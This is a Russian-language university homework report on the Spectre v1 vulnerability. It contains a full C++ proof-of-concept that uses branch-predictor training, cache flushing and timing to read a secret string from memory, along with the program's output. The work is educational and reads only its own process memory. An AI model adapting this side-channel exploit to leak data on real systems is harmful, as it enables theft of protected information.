САНКТ-ПЕТЕРБУРГСКИЙ НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Дисциплина: Архитектура ЭВМ

Отчет

по домашней работе № 6

«Spectre»

Выполнил(а): Тропин Михаил Алексеевич

Номер ИСУ: 334842

студ. гр. М3139

Санкт-Петербург

2022

Цель работы: знакомство с аппаратной уязвимостью Spectre.

Инструментарий и требования к работе: работа выполнена на C++.

Теоретическая часть

Уязвимость Spectre v.1 основана на том, что процессоры оптимизируют ветку условий, когда она выполняется несколько раз подряд. То есть если условие уже выполнилось несколько раз, то процессор может предположить, что и сейчас стоит идти в эту ветку, соответственно начать выполнять код ветки условия до окончания проверки самого условия:

```
int min_bound = 0;
uint access(ull x) {
   if (min_bound <= x && x < training_size) {
       return cache[training[x] * cache_line_size];
   }
   return -1;
}
```

Такой метод оптимизации называется спекулятивным исполнением – когда при выполнении программы, при наличии свободных ресурсов, может быть заранее выполнена какая-то следующая часть кода, даже если её выполнение окажется бесполезным.

В уязвимости spectre этим пользуются для того, чтобы получить значение за пределами массива(training). Мы тренируем условие на то, что значение x всегда подходит под условие, затем даем ему такое значение, выходящее за пределы массива, что по адресу training[x] соответствует символу, который мы хотим получить.

Но даже если код в ветке условия выполнится раньше, чем проверка условия, в итоге, он всё равно откатится, как будто бы не выполнялся. Но если сделать такое обращение несколько раз, то значение, к которому мы обращаемся, добавится в кэш. Затем мы переберем значение символа, и для каждого узнаем, за какое время мы обращаемся к этому символу, другими словами, проверим, находится ли этот символ в кэше. Таким образом и найдем символ, соответствующий секретному, не обращаясь к нему напрямую.

Практическая часть

Условие задачи:

Необходимо прочитать данные из некоторого региона памяти без прямого обращения к нему используя уязвимость Spectre v1.

Описание работы кода:

1. Считываем данные с обработкой ошибок.
2. Найдем значение addr такое что training[addr] будет соответствовать символу secret[0](первый символ секретной строки):

```
long long addr = (long long)(&secret[0] - (char *)(training));
// training[addr] is equal to secret[0]
// printf("!! %lli", addr);
// printf("%c\n", training[addr]);
```

3. Заполняем массивы training и cache. training заполним неиспользуемыми значениями, которые будем использовать для тренировки условия. А cache заполним 1, чтобы значения не оптимизировались до 0.
4. Очередной символ секретной строки находим так: передаем соответсвующее значение addr(переходя к следующему символу достаточно выполнить: addr++, так как массив secret представляет собой char*, соответственно каждый элемент занимает 1 байт). Затем training_itterations(значение можно менять, в коде стоит 500) раз находим символ, доступ к которому быстрее всего(предполагаемый

символ в кэше). В итоге выведем символ, который был предполагаемым большее количество раз.

5. Массив cache отвечает за 256 символов, для каждого выделено пространство cache_line_size, отвечающее размеру кэш-линии, чтобы мы могли различить два различных символа (чтобы они не попадали в одну кэш-линию). Соответственно размер cache: 256 * cache_line_size
6. Перед каждой тренировкой необходимо отчистить кэш от предполагаемых значений. Для этого я использую `_mm_clflush();` очищает всю кэш-линию с этим элементом.
7. Тренируем условие на неиспользуемых значениях в рандомном порядке, 10 процентов чисел – addr.
8. Удаляем из кэша неиспользуемые значения, находим символ с минимальным временем доступа, используя __rdtscp() – время доступа к ячейке памяти в тактах.
9. Для каждого символа вывожу(рис. 1) наиболее подходящий и количество раз, когда он был лучшим по времени доступа, а также его код. Помимо этого в конце вывожу строку, которую необходимо было получить и строку, которая получилась.

out.txt

```
Best value is : s; code: 115
was best in 995 cases of 1000

Best value is : e; code: 101
was best in 997 cases of 1000

Best value is : c; code: 99
was best in 997 cases of 1000

Best value is : r; code: 114
was best in 996 cases of 1000

Best value is : e; code: 101
was best in 994 cases of 1000

Best value is : t; code: 116
was best in 997 cases of 1000

Best value is : i; code: 105
was best in 996 cases of 1000

Best value is : c; code: 99
was best in 994 cases of 1000

Best value is : !; code: 33
was best in 995 cases of 1000

Want to get:
secretic!
Got data:
secretic!

Success
```

рисунок 1 – пример вывода программы

Листинг

script

```
#!/bin/bash

g++ -std=c++17 -Wall -Wextra -Wconversion hw6.cpp
./a.out “secretic!” out.txt
```

hw6.cpp

```
//
// Created by aris on 1/20/22.
//

#include <iostream>
#include <cstring>
#include <x86intrin.h>
#include <random>
#include <algorithm>

using namespace std;

using uint = unsigned int;
using ull = long long;
using uchar = unsigned char;

const ull INF = 1e18;

int training_size = 100; // if you change the value then change str 25(training[])
const int training_itterations = 1000;

#define cache_line_size 512 // depends on device
```

```
uchar training[100];
uchar cache[cache_line_size * 256];

void my_assert(bool condition, const char *message) {
   if (condition == false) {
       printf("%s\n", message);
       abort();
   }
}

int min_bound = 0;
uint access(ull x) {
   if (min_bound <= x && x < training_size) {
       return cache[training[x] * cache_line_size];
   }
   return -1;
}

void wait() {
   for (int i = 0; i < 100; i++) { }
   __sync_synchronize();
}// for process synchronize

uchar read_char(long long address) {
   long long x = 0;
   uint not_optimize = -1;
   uchar best = 0;
   ull min_time = INF;

   for (int i = 0; i < 256; i++) {
       _mm_clflush(&cache[i * cache_line_size]);
   }
   long long ord[training_size];
   for (int i = 0; i < training_size; i++) {
       ord[i] = i % 10 == 0 ? address : i;
   }
   random_shuffle(ord, ord + training_size);
   for (ull i = 0; i < training_size; i++) {
       _mm_clflush(&training_size);
       _mm_clflush(&min_bound);
```

```
        wait();
        x = ord[i];
        access(x);
    }

    for (int i = 0; i < training_size; i++) {
        if (ord[i] != address) {
            _mm_clflush(&cache[training[ord[i]] * cache_line_size]);
        }
    }
    // _mm_clflush(&cache[training[training_x] * cache_line_size]);
    int shuffle_char[256];
    for (int i = 0; i < 256; i++) {
        shuffle_char[i] = i;
    }
    random_shuffle(shuffle_char, shuffle_char + 256);
    for (int i = 0; i < 256; i++) {
        int ch = shuffle_char[i];

        uchar *cur_address = &cache[ch * cache_line_size];
        wait();
        ull start = __rdtscp(&not_optimize);
        not_optimize = *cur_address;
        ull cur_time = __rdtscp(&not_optimize) - start; //

        if (min_time > cur_time) {
            min_time = cur_time;
            best = uchar(ch);
        }
    }

    return best;
}

FILE *out_file;
bool to_file = false;

uchar get_next_char(long long address) {
    int cnt_best[256];
    for (uint i = 0; i < 256; i++) cnt_best[i] = 0;
```

```
    for (uint itter = 0; itter < training_itterations; itter++) {
        cnt_best[read_char(address)]++;
    }

    uchar mx = 0;
    for (uint i = 0; i < 256; i++) {
        if (cnt_best[mx] < cnt_best[i]) {
            mx = uchar(i);
        }
    }
    if (to_file) {
        fprintf(out_file, "Best value is : %c; code: %u\n", char(mx), mx);
              fprintf(out_file, "was best in %i cases of %i\n\n", cnt_best[mx],
training_itterations);
    } else {
        printf("Best value is : %c; code: %u\n", uchar(mx), mx);
        printf("was best in %i cases of %i\n\n", cnt_best[mx], training_itterations);
    }
    return mx;
}

bool is_right(char *secret, char *result) {
    if (strlen(secret) != strlen(result)) return false;
    for (uint i = 0; i < strlen(secret); i++) {
        if (secret[i] != result[i]) return false;
    }
    return true;
}

signed main(int argc, char *argv[]) {
        my_assert(2 <= argc && argc <= 3, "Expected argument as: <data>
[<output_file>]");
    if (argc == 3) {
        out_file = fopen(argv[2], "w");
        my_assert(out_file != NULL, "Can not open output file");
        to_file = true;
    }
    char *secret = argv[1];
    size_t len = strlen(secret);
```

```
    long long addr = (long long)(&secret[0] - (char *)(training));
    // training[addr] is equal to secret[0]
    // printf("!! %lli", addr);
    // printf("%c\n", training[addr]);

    for (int i = 0; i < training_size; i++) {
        training[i] = uchar(i % 16); // empty codes for training
    }
    for (uint i = 0; i < cache_line_size * 256; i++) {
        cache[i] = 1; // non-zero values, so proc can't optimize
    }

    char *result = new char[len];
    for (uint i = 0; i < len; i++) {
        uchar val = get_next_char(addr++);
        result[i] = char(val);
    }

    if (to_file) fprintf(out_file, "Want to get:\n%s\n", secret);
    else printf("Want to get:\n%s\n", secret);

    if (to_file) fprintf(out_file, "Got data:\n%s\n\n", result);
    else printf("Got data:\n%s\n\n", result);

    if (is_right(secret, result)) {
        if (to_file) fprintf(out_file, "Success\n");
        else printf("Success\n");
    } else {
        if (to_file) fprintf(out_file, "Wrong secret found\n");
        else printf("Wrong secret found\n");
    }
    return 0;
}
```